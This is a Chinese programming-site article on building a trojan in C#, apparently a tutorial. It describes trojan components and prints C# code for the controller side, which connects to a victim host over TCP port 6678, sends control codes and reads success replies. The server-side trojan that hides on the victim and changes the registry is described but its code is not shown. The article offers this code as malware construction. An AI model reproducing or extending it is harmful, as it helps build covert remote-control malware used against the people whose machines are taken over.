选择显示字体大小

用c#实现木马程序

  木马的介绍

  因为本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。 控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

  使用的技术:

  控制端程序发送控制码控制服务器服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现c#网络编程注册表的修改。

  控制端开发:

  控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

  控制端的开发:

  控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

  1、连接请求

使用了.net类中的 system.net.sockets.tcpclient类,
tcpclient(string hostname,int port)
hostname 是要控制的主机名称,当然你也可以用ip地址。
port是端口。
// system.eventargs包含事件数据类的基类
private void button7_click(object sender, system.eventargs e)
{
//记录操作,在richtextbox控件中增加操作信息
richtextbox1.appendtext("请求连接" +textbox1.text +"\r");
int port =6678;
try
{
//初始化 tcpclient 类的新实例并连接到指定主机上的指定端口
client = new tcpclient(textbox1.text,port);
}
catch
{
messagebox.show("服务器不在线!确定是否输入主机名称.");
richtextbox1.appendtext("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion

  2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。 //提供网络访问的数据流

//private.networkstream stream;
代码如下:
private void button8_click(object sender, system.eventargs e)
{
//纪录操作
richtextbox1.appendtext("测试连接" +"\r");
try
{

stream = client.getstream();
if(stream.canwrite)
{
//发送控制码
string control = "jiance";
byte[] by =system.text.encoding.ascii.getbytes(control.tochararray());
stream.write(by,0,by.length);
//下次使用
stream.flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadreceive = new thread(new threadstart(receive));
threadreceive.start();
}
}
catch(exception ee)
{
richtextbox1.appendtext (ee.message+"\r");
messagebox.show(ee.message);
}
}

  3、控制生效的代码

private void button9_click(object sender, system.eventargs e)
{
//这里是确定要发送的控制码,radiobutton是窗体控件
if(radiobutton1.checked){ control = form2.zhucex;}
else if(radiobutton2.checked){ control =form3.zhuces;}
else if(radiobutton3.checked){ control = warring;}
else if(radiobutton4.checked){ control =suggest;}
else if(radiobutton5.checked){ control =form4.mumawe;}
else if(radiobutton6.checked){ control =drop;}
if (control =="000000")
{
messagebox.show("你没有输入任何控制目标!不发控制信号");
richtextbox1.appendtext("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richtextbox1.appendtext (control + "正在试图控制,等待回应......" + "\r");
stream = client.getstream();
if(stream.canwrite )
{
byte[] by = system.text.encoding.ascii.getbytes(control.tochararray ());
stream.write(by,0,by.length);
stream.flush();
threadreceive =new thread(new threadstart(receive));
threadreceive.start();
}//endif
}//try
catch
{
richtextbox1.appendtext("服务器未连接1控制无效!" +"\r");
messagebox.show("服务器未连接1控制无效!" +"\r");
}
}//else if
}

  4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //system.text.encoding.unicode.getstring(bb);
string ss = system.text.encoding.ascii.getstring(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
{
messagebox.show("连接成功");
richtextbox1.appendtext("连接成功");
}
if(ss== "hkz")
{
richtextbox1.appendtext(control +"控制成功"+"\r");
messagebox.show(control +"控制成功"+"\r");
}
}


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons